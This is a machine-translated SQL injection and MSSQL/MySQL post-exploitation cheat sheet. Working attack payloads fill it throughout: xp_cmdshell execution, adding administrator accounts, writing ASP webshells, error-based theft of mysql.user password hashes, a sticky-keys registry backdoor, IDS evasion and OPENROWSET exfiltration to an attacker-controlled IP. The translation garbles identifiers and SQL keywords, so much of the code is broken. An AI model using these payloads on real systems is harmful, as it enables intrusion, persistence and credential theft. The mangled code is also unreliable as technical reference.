Slå sammen tommene i temperaturtabellen ; sett inn i temp(id) exec master.dbo.xp_blank>_cmdshell skriv c:\web\index.asp; – Se en fil
Innhold ; sett inn i temp(id) executive master.dbo.xp_blank>_cmdshell dir: C:\; – ; sett inn i temp(id) executive master.dbo.xp_blank>_cmdshell dir: c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; sett inn i temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Gjeldende myndighet
OFFENTLIG) Skriv til tabellen: setning 1: og 1=(Velg IS_blank>_SRVROLEMEMBER(sysadmin)); – Utsagn 2: og 1=(Velg IS_blank>_SRVROLEMEMBER(serveradmin)); – Utsagn 3: og 1=(Velg IS_blank>_SRVROLEMEMBER(setupadmin)); – Utsagn 4: og 1=(Velg IS_blank>_SRVROLEMEMBER(securityadmin)); – Utsagn 5: og 1=(Velg IS_blank>_SRVROLEMEMBER(securityadmin)); – Setning 6: og 1=(Velg IS_blank>_SRVROLEMEMBER(diskadmin)); – Utsagn 7: og 1=(Velg IS_blank>_SRVROLEMEMBER(bulkadmin)); – Utsagn 8: og 1=(Velg IS_blank>_SRVROLEMEMBER(bulkadmin)); – Utsagn 9: og 1=(Velg IS_blank>_MEMBER(db_blank>_owner)); –
Skriv stien til tabellen: ; Lag tabell-dirs (paths varchar(100), id int)– ; sett inn dirs executive master.dbo.xp_blank>_dirtree c:\– og 0<> (velg topp 1 stier fra dirs)– og 0<>(velg topp 1 stier fra di-er der stier ikke er i (@Inetpub))– ; Lag tabell dirs1(paths varchar(100), id int)– ; Sett inn dirs executive master.dbo.xp_blank>_dirtree e:\web– og 0<> (velg topp 1 stier fra dirs1)–
Ta sikkerhetskopi _blank> databasen til en webkatalog: Last ned ; erklære @a systemnavn; sett @a=db_blank>_name(); sikkerhetskopieringsdatabase @a til disk=e:\web\down.bak; –
og 1=(Velg topp 1 navn fra(Velg topp 12 id, navn fra sysobjekter hvor xtype=char(85)) T
Bestilling etter ID beskrivelse) og 1=(Velg topp 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) fra sysobjekter) Se også
Relaterte tabeller. og 1=(velg user_blank>_id fra USER_blank>_LOGIN) og 0=(velg bruker fra USER_blank>_LOGIN hvor bruker>1)
-=- wscrip{filter}t.shell eksempel -=- Erklær @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o ut exec sp_blank>_oamethod @o, løp, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, kjør,
NULL, notepad.exe–
Erklær @o int, @f int, @t int, @ret int erklær @line varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out while( @ret = 0 ) Begynn Skriv ut @line exec @ret = sp_blank>_oamethod @f, readline, @line out slutt
Erklær @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f ut, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
Erklær @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o ut exec sp_blank>_oamethod @o, register, NULL, foo, bar Eksekutiv sp_blank>_oasetproperty @o, hastighet, 150 exec sp_blank>_oamethod @o, speak, NULL, alle dine oppfølgerservere tilhører oss, 528 vent på forsinkelse 00:00:05
; erklær @o int, @ret int executive sp_blank>_oacreate speech.voicetext, @o ut exec
sp_blank>_oamethod @o, register, NULL, foo, bar executive sp_blank>_oasetproperty @o, speed, 150 executive
sp_blank>_oamethod @o, snakk, NULL, alle dine oppfølgerservere tilhører oss, 528 vent på forsinkelse
00:00:05–
xp_blank>_dirtree den gjeldende OFFENTLIGE tillatelsen exec master.dbo.xp_blank>_dirtree c: Den returnerte informasjonen har to felt: underkatalog, dybde. Underkatalogfelt
Karaktertype, dybdefeltet er formingsfeltet. Lag tabell-dirs (paths varchar(100), id int) Tabellbygging, tabellen som er laget her, er relatert til ovennevnte xp_blank>_dirtree, med like felt og samme type. sett inn dirs exec master.dbo.xp_blank>_dirtree c: Så lenge vi bygger en tabell og definerer feltene som returneres av lagringsprosessen likt
Utfør! For å oppnå effekten av skrivetabeller, steg for steg for å oppnå informasjonen vi ønsker! Denne feilinjeksjonen er hovedsakelig basert på Mysql-datatype-overløp mysql > VELG 18446744073709551610 * 2 ; FEIL 1690 ( 22003 ): BIGINT USIGNERT VERDI ER UTENFOR OMRÅDET I '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; FEIL 1690 ( 22003 ): BIGINT UNSIGNED VALUE ER UTENFOR OMRÅDET I '(- (1) *
9223372036854775808)' Søk databaseversjon: mysql> SELECT * 2 (hvis ((SELECT * fra (SELECT (versjon ()) ) s), 18446744073709551610,
18446744073709551610)); FEIL 1690 (22003): BIGINT USIGNERT verdi er utenfor området i '(2 * hvis (( Velg ' 5,5 'fra
Dual), 18446744073709551610.1844674073709551610))' Få navnet på feltet: mysql> VELG 2 * hvis((VELG * fra (velg * fra test.shop) som '' grense 1)>(VELG * fra
test.shop grense 1), 18446744073709551610, 18446744073709551610);
FEIL 1690 (22003): BIGINT USIGNERT verdi er utenfor området i '(2 * hvis((((velg
'artikkel', 'forhandler', 'pris' fra (velg 'test'.'shop'.'article' SOM
'artikkel', 'test'.'butikk'.'forhandler' SOM 'forhandler', 'test'.'butikk'.'pris' SOM 'pris' fra
'test'.'butikk') grense 1) > (velg
'test'.'butikk'.'artikkel','test'.'butikk'.'forhandler','test'.'butikk'.'pris' fra 'test'.'butikk' grense
1)),18446744073709551610,18446744073709551610))' Få feltverdien:
mysql> VELG 2 * hvis((VELG * fra (velg * fra (mysql.user) GRENSE 1) som '' grense 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
FEIL 1690 (22003): BIGINT USIGNERT verdi er utenfor området i '(2 * hvis((((velg
'Localhost', 'root','*', 'Y', Y', Y'
Y', Y', Y', Y', '','0', '0', '0', '0', '0,'' fra dual limit 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Merk at denne metoden ikke fungerer med eldre versjoner av MySQL, og du må vite lengdegrensen på feilmeldingen, da dette vil avgjøre
Du kan få så lang tid du vil: mysys / my_error.c
/* Maks lengde på en feilmelding. Bør holdes synkronisert med MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Hvis objektet er MariaDB (en fork av Mysql), kan du se en feilmelding som denne når du prøver metoden ovenfor:
mysql> SELECT 2*(hvis((SELECT * fra (SELECT (versjon()))s), 18446744073709551610,
18446744073709551610)) FEIL 1690 (22003): BIGINT USIGNERT verdi er utenfor rekkevidde i '(2 * hvis((velg
#),18446744073709551610,18446744073709551610))'
Som løsning kan dette problemet løses på denne måten:
mysql> SELECT (I ER IKKE NULL) - -9223372036854775808 FRA (SELECT (version())i)a; FEIL 1690 (22003): BIGGINT-verdien er utenfor området i '(('5.5-MariaDB' er ikke null) - -
(9223372036854775808))' La oss nå se om vi kan gjøre vektoren vår litt kortere
//查询数据库版本
VELG 2*(hvis(((VELG * fra (VELG (versjon()))er), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (i ER IKKE NULL) - -9223372036854775808 FRA (SELECT (versjon())i)a = velg hvis(x,2,2)*1E308 fra(velg versjon()x)y
//获取表字段名称 VELG 2 * hvis((VELG * fra (velg * fra test.shop) som '' grense 1)>(VELG * fra
test.shop grense 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
VELG 2 * hvis((VELG * fra (velg * fra (mysql.user) GRENSE 1) som '' grense 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 select 1E308*if((select user|| vert|| passord|| file_priv from(select*from mysql.user LIMIT
1) en grense 1),2,2)
//获取字段个数
select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Noen andre deformasjoner
SELECT (i ER IKKE NULL) - -9223372036854775808 FRA (SELECT (versjon())i)a select 1E308*if((select user|| vert|| passord|| file_priv from(select*from mysql.user LIMIT
1) en grense 1),2,2); => velg 2*hvis(((velg bruker|vert|passord|file_priv fra(velg*fra mysql.bruker GRENSE 1)en grense
1),1e308,0); MySQL> select (select * from mysql.user)=1; MySQL> velg (velg * fra MySQL.User)In(1);
FEIL 1241 (21000): Operanden skal inneholde 42 kolonne(r) velg 2*hvis(((velg bruker|vert|passord|file_priv fra(velg*fra mysql.bruker GRENSE 1)en grense
1),1e308,0); velg hvis((velg bruker|| vert|| passord|| file_priv fra(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (i ER IKKE NULL) - -9223372036854775808 FRA (SELECT (versjon())i)a select (x!=0x00)--9223372036854775808 fra(VELG versjon()x)y mysql> select!x-~0.FROM(select+user()x)f; FEIL 1690 (22003): BIGINT USIGNERT verdi er utenfor området i '((not('root@localhost')) - ~
(0))' 3. Vurdere databasesystemet ; og (velg antall(*) fra sysobjects)>0 mssql ; og (velg antall(*) fra msysobjects)>0 tilgang 4. Injeksjonsparameteren er et tegn 'og [spørringskriterier] og ''=' 5. Det finnes ingen filtrerte parametere under søket 'og [søkekriterier] og '%25'=' 6. Gjett databasen ; og (velg Antall(*) fra [databasenavn])>0 7. Gjett feltet ; og (velg Count (feltnavn) fra databasenavn)>0 8. Gjett lengden på rekorden i felten ; og (velg øverste 1 LEN (feltnavn) fra databasenavn)>0 9. (1) Gjett ASCII-verdien til feltet (tilgang) ; og (velg topp 1 asc(mid(feltnavn, 1,1)) fra databasenavn)>0 (2) Gjett ASCII-verdien til feltet (mssql) ; og (velg øverste 1 Unicode(substring(feltnavn, 1,1)) fra databasenavn)>0 10. Testtillatelsesstruktur (mssql) ; og 1=(velg IS_SRVROLEMEMBER('sysadmin')); -- ; og 1=(velg IS_SRVROLEMEMBER('serveradmin')); -- ; og 1=(velg IS_SRVROLEMEMBER('setupadmin')); -- ; og 1=(velg IS_SRVROLEMEMBER('securityadmin')); -- ; og 1=(velg IS_SRVROLEMEMBER('diskadmin')); -- ; og 1=(velg IS_SRVROLEMEMBER('bulkadmin')); -- ; og 1=(velg IS_MEMBER('db_owner')); -- 11. Legg til en konto for mssql og systemet ; executive master.dbo.sp_addlogin brukernavn; -- ; exec master.dbo.sp_password null, brukernavn, passord; -- ; exec master.dbo.sp_addsrvrolemember sysadmin-brukernavn; -- ; exec master.dbo.xp_cmdshell 'netbrukerbruker-passord /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'nettbrukerbruker-passord /add'; -- ; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators brukernavn /Add'; -- 12. (1) Gå gjennom katalogen ; Lag tabell-dirs (paths varchar(100), id int) ; sett inn dirs executive master.dbo.xp_dirtree 'c:\' ; og (velg topp 1 stier fra dirs)>0 ; og (velg topp 1-stier fra dirs hvor stier ikke er i('stier hentet fra forrige steg'))>) (2) Gå gjennom katalogen ; lag tabelltemperatur (id nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar(255)); -- ; sett inn midlertidig leder master.dbo.xp_availablemedia; -- Få alle strømstasjoner ; sett inn i temp(id) executive master.dbo.xp_subdirs 'c:\'; -- Få en liste over underkataloger ; sett inn i temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hent katalogtrestrukturen for alle underkataloger ; sett inn i temp(id) executive master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Se innholdet i filen 13. Lagrede prosedyrer i mssql xp_regenumvalues Registerrotnøkkel, barnenøkkel ; executive xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' og flere
Recordset-metoden for å returnere alle nøkkelverdier xp_regread Rotnøkkel, barnenøkkel, nøkkel-verdi-navn ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' returnerer verdien til formuleringsnøkkelen xp_regwrite Rotnøkkel, barnenøkkel, verdinavn, verditype, verdi Det finnes to typer verdityper REG_SZ REG_DWORD for tegntyper, og for heltall ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' skrives til registeret xp_regdeletevalue Rotnøkkel, undernøkkel, verdinavn exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' for å fjerne en verdi xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' delete-tast,
Inkluder alle verdier under den nøkkelen 14. MSSQL-backup lager en webshell Bruksmodell opprette tabell-cmd (STR-bilde); sett inn i cmd(str)-verdier ('<% Dim oscrip{filter}t %>'); Backup databasemodell til disk='c:\l.asp'; 15. MSSQL innebygde funksjoner ; og (velg @@version)>0 for å få versjonsnummeret til Windows ; og user_name()='dbo' for å avgjøre om den tilkoblede brukeren av det nåværende systemet er SA ; og (velg user_name())>0 Eksploderte de tilkoblede brukerne av det nåværende systemet ; og (velg db_name())>0 for å hente den nåværende tilkoblede databasen 16. Konsis webshell Bruksmodell opprette tabell-cmd (STR-bilde); Sett inn i cmd(str) verdier ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); Backup databasemodell til disk='g:\wwwtest\l.asp'; Når du ber om det, bruk noe som dette:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Få tak i alle databasenavn, inkludert systemdatabaser –VELG navn FRA master.dbo.sysdatabases
– Hent alle ikke-systemdatabasenavn –velg [navn] fra master.dbo.sysdatabases hvor DBId>6 Ordner etter [Navn]
– Få all informasjonen, inkludert databasefilens adresse –velg * fra master.dbo.sysdatabases hvor DBId>6 Order By
[Navn]
Denne setningsspørringen returnerer alle brukertabeller
velg * fra sysobjects hvor xtype='u'
Spør all informasjon om datatabellene i systemet
velg * fra sysobjects
Se på maskinens navn velg * fra sys.servers
Kolonneinnholdsfortegnelse Exec master.dbo.xp_subdirs 'C:\'
Executive master.dbo.xp_dirtree 'C:',1,1 db_owner Tillatelser kan håndheves
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Programkode, skrevet til webshell
exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; Utøvende sp_makewebtask 'd:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Henrette mester.. xp_enumgroups
Travers-systembrukere
Henrette mester.. xp_getnetname Få tak i det nåværende maskinnavnet
--List de faste diskene på serveren, sammen med tilgjengelig plass for hver disk DBO Public
Utfør
xp_ntsec_enumdomains
-- Opprett en konto for å logge inn på MSSQL leder master.dbo.sp_addlogin navn, pass; --
-- List opp serverens domenenavn xp_ntsec_enumdomains // Maskinnavn //dbo offentlig
-- Stopp eller start en tjeneste xp_servicecontrol 'stopp', 'schedule' //schedule er tjenestenavnet //dbo
--Bruk pid
Stopp et kjørende program xp_terminate_process 123 //123 er PID //dbo
-- Kun underkataloger i en katalog er oppført dbo.xp_subdirs 'C:' //dbo
SQL Server Metoden for å åpne xp_cmdshell i 2005 EXEC sp_configure 'vis avanserte alternativer', 1; OMKONFIGURER; EXEC
sp_configure 'xp_cmdshell', 1; OMKONFIGURER;
SQL2005 Åpne 'OPENROWSET' Støttede metoder: ledelse sp_configure 'vis avanserte alternativer', 1; OMKONFIGURER; leder sp_configure 'Ad Hoc
Distribuerte spørringer,1; OMKONFIGURER;
SQL2005 for å aktivere 'sp_oacreate'-støtte: ledelse sp_configure 'vis avanserte alternativer', 1; OMKONFIGURER; Administrerende direktør
sp_configure 'Ole Automatiseringsprosedyrer',1; OMKONFIGURER
Hvordan aktivere xp_cmdshell i SQL Server 2008
-- For å tillate at avanserte alternativer kan endres. EXEC
sp_configure 'vis avanserte alternativer', 1 GÅ -- For å oppdatere den nåværende konfigurerte verdien for
avanserte alternativer. OMKONFIGURER GÅ -- For å aktivere funksjonen. EXEC sp_configure 'xp_cmdshell', 1 GÅ -- Til
Oppdater den nåværende konfigurerte verdien for denne funksjonen. OMKONFIGURER GÅ
exec xp_cmdshell 'ipconfig'
I dag ville jeg endre SA-innloggingspassordet til databaseserveren, men glemte det plutselig, så jeg måtte åpne spørringsanalysatoren med hjelp av andre kontoer for å endre SA-passordet
Det er veldig enkelt:
Gjennomføring: sp_password Null,'teracypwd,'sa' Sett SA-passordet til "teracypwd"
Etter vellykket henrettelse
Det finnes "Kommando(er) fullført med suksess." OK!
I databasetillatelsen, separer metoden for å hente MSSQL-databaseserverens IP
1. Lokal NC lytter til NC -VVLP 80
2.; Sett inn i
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Nettverk=DBMSSOCN; Adresse=din ip, 80; ', 'velg * fra
dest_table') velg * fra src_table; --
Velg * fra OpenRowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','velg bruker; ')
Databaseimport og -eksport
/*不同服务器数据库之间的数据操作*/
--Opprett lenkeserver Leder sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Fjernservernavn eller IP-adresse' exec sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'brukernavn', 'passord'
--spørringseksempel velg * fra ITSV.database name.dbo.table name
--import-eksempel velg *
inn i tabellen fra ITSV.databasename.dbo.tablename
--Slett den lenkede serveren hvis den ikke lenger er i bruk i fremtiden leder sp_dropserver 'ITSV',
'droplogins'
-- Tilkobling til fjern-/LAN-data (openrowset/openquery/opendatasource) --1、Openrowset
--spørringseksempel velg *
fra openrowset( 'SQLOLEDB ', 'sql server name '; 'Brukernavn'; 'passord', databasenavn.dbo.tabellnavn)
-- Generer en lokal tabell velg * i tabellen fra openrowset( 'SQLOLEDB ', 'sql server name '; 'Brukernavn'; 'Passord', nummer
Ifølge databasenavnet.dbo. tabellnavn)
-- Importer den lokale tabellen til den eksterne tabellen insert openrowset( 'SQLOLEDB', 'sql server name'; 'Brukernavn'; 'Passord', databaser
name.dbo.table name) velg *fra lokal tabell
-- Oppdater lokale tabeller Oppdatering B sett b. kolonne A = a fra openrowset( 'SQLOLEDB ', 'sql server name '; 'Brukernavn'; '
passord ', databasenavn .dbo.table name) som en inner join lokal tabell b på a.kolonne1=b.kolonne1
--openquery Bruk krever opprettelse av en forbindelse
--Først, lag en tilkobling for å opprette en linkserver leder sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'fjernservernavn eller IP-adresse' --Undersøk velg * FROM openquery(ITSV, 'SELECT * FROM data
library.dbo.table name ') -- Importer den lokale tabellen til den eksterne tabellen insert openquery(ITSV, 'SELECT * FROM database.dbo.table name') Velg * fra lokal
Tabell --oppdater lokal tabell Oppdatering B sett b. kolonne B=a FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
som en indre join lokal tabell b på a. kolonne A=b. kolonne A
--3、opendatasource/openrowset VELG * FRA
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Bruker-ID = Påloggingsnavn; Passord=Passord '
).test.dbo.roy_ta -- Importer den lokale tabellen til den eksterne tabellen
Sletting og restaurering av xp_cmdshell
Måter å gjenopprette xp_cmdshell Slett den utvidede lagrede prosedyren xp_cmdshell
Uttalelse Leder sp_dropextendedproc 'xp_cmdshell'
Gjenopprett SQL-setningen til cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Administrerende direktør
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; velg tell(*) fra
master.dbo.sysobjects hvor xtype='x' og Returresultatet er 1, og det er greit
Ellers må du laste opp c:\inetput\web
\xplog70.dll senere exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web xplog70.dll\
’; --
Hvis du sletter det på følgende måte Slippprosedyre sp_addextendedproc Slippprosedyre sp_oacreate Administrerende direktør
sp_dropextendedproc 'xp_cmdshell'
Du kan gjenopprette den med følgende uttalelse DBCC la til utvidede proc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
På denne måten kan den gjenopprettes direkte, uavhengig av om sp_addextendedproc eksisterer eller ikke
1、 Bruk xp_cmdshell: exec master.dbo.xp_cmdshell "net user admin admin /add" Administrerende direktør
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
I xp_cmdshell tilfelle, bruk sp_oacreate for å følge sp_oamethod: Erklær @object int Administrerende direktør
sp_oacreate 'wscrip{filter}t.Shell', @object ut Administrerende sp_oamethod
@object,'Run', NULL,'net user admin admin /add' exec sp_oamethod @object, 'Run', NULL,'net
localgroup Administratorer admin /add'
Merk: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Bruk sp_oacreate og FSO Erklær @o int Utøvende sp_oacreate
'scrip{filter}ting.filesystemobject', @o ut exec sp_oamethod @o, 'copyfile', null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; Erklær @oo int Administrerende direktør
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo ut Leder sp_oamethod @oo,
'copyfile',null,'c:\windows\system32 sethc.exe\' ,'c:\windows\system32\dllcache\sethc.exe';
Bruk xp_regwrite (db_owner, omstart kreves): Utøvende master.dbo.xp_regwrite
'hkey_local_machine',software\microsoft\windows\currentversion\
run','eadd1','reg_sz','netuser admin admin /add' Utøvende master.dbo.xp_regwrite
'hkey_local_machine',software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net lokalgruppeadministratorer admin /add' 5. Bruk sp_add_job: Administrerende direktør
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Bruk MSDB Exec sp_delete_job
null,'x' leder sp_add_job 'x' Leder sp_add_jobstep
Null,'x', Null,'1','CMDEXEC','cmd /c netuser admin admin /add' Utøvende sp_add_jobserver
Null, 'x', @@servername executive sp_start_job 'x'
Mange SA har lykkes i mange maskiner direkte ved å bruke sandkassemodus, men jeg har aldri øvd på det og jeg vet ikke hva suksessraten er. Når forlengelsen fjernes, først
Gjenopprett lese- og skrivelagring i registeret. dbcc la til utvidetproc ('xp_regread','xpstar.dll') dbcc addendedproc
('xp_regwrite','xpstar.dll')
Fikset den beskyttede modusen til sandkassen Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
Se om verdien 'SandBoxMode' har blitt 0.
leder master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', PROGRAMVARE
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Til slutt, kall sandkassemodusen Select * fra openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','velg shell("cmd.exe /c net user user passwd /add")')
Hvis sandkassebeskyttelsesmodusen ikke er "av", rapporteres en feil: Server: Msg 7357, Nivå 16, Stat 2, Linje 1
Klarte ikke å håndtere objektet 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB tilbyr programmer
Forordet 'microsoft.jet.oledb.4.0' indikerer at det ikke finnes noen kolonner i objektet.
OLE DB feilsporing [Ikke-grensesnittfeil: OLE DB-leverandør kan ikke behandle objektet, siden objektet
har nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
bruker passwd /add")']。
2、 Hvis .mdb ikke eksisterer eller inngangsstien er feil Server: Msg 7399, Nivå 16, Tilstand 1, Linje 1
OLE DB provider 'microsoft.jet.oledb.4.0' feil. [OLE/DB-leverandør returnerte melding:
Fil 'C:\WINDOWS\system32\ias\dnary1.mdb' ikke funnet. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned returned
0x80004005: ]。
3. Hvis det er flere mellomrom under inndataprosessen, vil også en feil bli rapportert. Vær spesielt oppmerksom på dette, mange søker direkte etter artikler på nettet
Lim det inn og kjør det. Server: Msg 7357, Nivå 16, Stat 2, Linje 1 Klarte ikke å behandle objekt 'velg
shell("cmd.exe /c NET-bruker PASSWD /add")'。 OLE DB-leverandøren 'microsoft.jet.oledb.4.0' sier at det ikke finnes noen kolonner i objektet.
OLE DB feilsporing [Ikke-grensesnittfeil: OLE DB-leverandøren kan ikke behandle objektet, siden objektet har
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user user
passwd /add")']。
4、 Hvis mdb-tillatelsene og cmd.exe-tillatelsene er feil, vil problemet også oppstå. Når MDB-tillatelsene er feil, Server: Eliminer
Rente 7320, nivå 16, stat 2, linje 1
Han kunne ikke svare OLE DB-leverandøren 'Microsoft.Jet.OLEDB.4.0' utfører spørringen. [OLE/DB-leverandør returnerte
message: 未知] OLE DB Feilsporing [OLE/DB-leverandør 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Hvis netttillatelsen er feil, finnes det ingen prompt.
Den siste måten å øke autoriteten på er å laste opp systemets ias.mdb og cmd.exe under den nåværende webkatalogen, net.exe tre filer.
Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb',velg skall
("E:\web\cmd.exe /c E:\web\net.exe user user passwd /add")') Å legge til en datamaskinbruker med suksess.
Splitting av cmdshell omgår IDS Deklarer @a sysname-settet @a='xp_'+'cmdshell' exec @a 'ipconfig' Erklær
@a sysname-sett @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Rediger registerkapringsskift Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe på'; --
Spør linkserveren velge
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess fra master.dbo.sysservers velge
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess fra master.dbo.sysservers
Søk linkserver2 Velg distinkt vertsnavn,db_name(dbid),net_address,loginame,program_name fra
Mester.. sysprosesser
Spør linkserveren og andre innloggede brukere velg * fra [192.168.1.1].master.dbo.syslogins
Spør LinkServer Alle databaser velg * fra linkedSrvWeb.master.dbo.sysdatabases
Utfør utvidet lagring på LinkServer Exec [IP].master.dbo.xp_cmdshell
Søk i alle tabeller på linkserveren velg * fra [ip].master.dbo.sysobjects
Velg * fra OpenRowset
('sqloledb','server=IP; uid=bruker; pwd=passord','velg @@version')
velg * fra openquery([LINKSERVER)
navn],'velg @@version')
velg * fra openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
velg * fra openquery(GM_SERVER,'select * fra sysobjects hvor xtype = (''U''')')
velg * fra
openquery(NDOORS,'Velg IS_MEMBER(''db_owner'')')
velg * fra openquery(toatdeweb,'select
srvname fra master.dbo.sysservers')
Sett inn i OpenDataSource
('sqloledb','server=222.241.95.12; uid=SCD; PWD=A123520; database=hack520').hack520.dbo.zhu select
navn fra master.dbo.sysdatabases create database hack520 Lag TABELL zhu(name nvarchar(256)
null); Create TABLE J8(id int NULL,name nvarchar(256) null);
velg * fra OpenQuery
(toatdeweb,'set fmtonly off exec master.dbo.xp_cmdshell ''net user'')
Exec Master.. xp_dirtree
'c:\',1,1 Utfør en spørringskatalog
exec links.master.. xp_cmdshell 'ipconfig'
velg * fra openquery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Koble mysql Select * fra Mem_DB. UserDB.dbo.AdminList
SJEFSMESTER.. XP_dirtree 'c:\',1,1
Administrerende direktør
master.dbo.xp_cmdshell 'dir'
velg antall(*) fra [indiker] Spør hvor mye data som er i den nåværende tabellen
Velg distinkt vertsnavn,db_name(dbid),net_address,loginame,program_name
fra mester.. sysprosesser
Velg * fra GameDB01. Server01.dbo.cabal_character_table hvor navn='
Gris'
Når du sletter den, står det: Databasen brukes og kan ikke slettes.
Klikk på databasen du vil slette for å åpne hendelsesviseren.
Innspill:
Bruk
Mester Gå Så skriv inn følgende: erklær @d varchar(8000) sett @d= ' ' velg @d=@d+ ' drep
'+cast(spid som varchar)+char(13) fra mester.. sysprosesser hvor dbid=db_id('biblioteknavn') exec(@d) -- Bruk kode for å slette prosessen som kobler til denne databasen først
MSSQL driver Oracle gjennom LinkServer
1) Installer Oracle på SQL_SERVER 2005-serveren
9i klient. La oss si at du installerer i C:\ora92i\-katalogen. Hvis D: er en NTFS-partisjon, må du sette ORACLE-installert katalog som den som brukes
Abonnenter har rett til å kjøre, legge til og slette.
2) Konfigurer C:\ora92i\network\ADMIN\tnsnames.ora-filen. (Følgende røde tekst er et eksempel på en konfigurasjon)
ORCL=
(DEscrip{filter}tION=.)
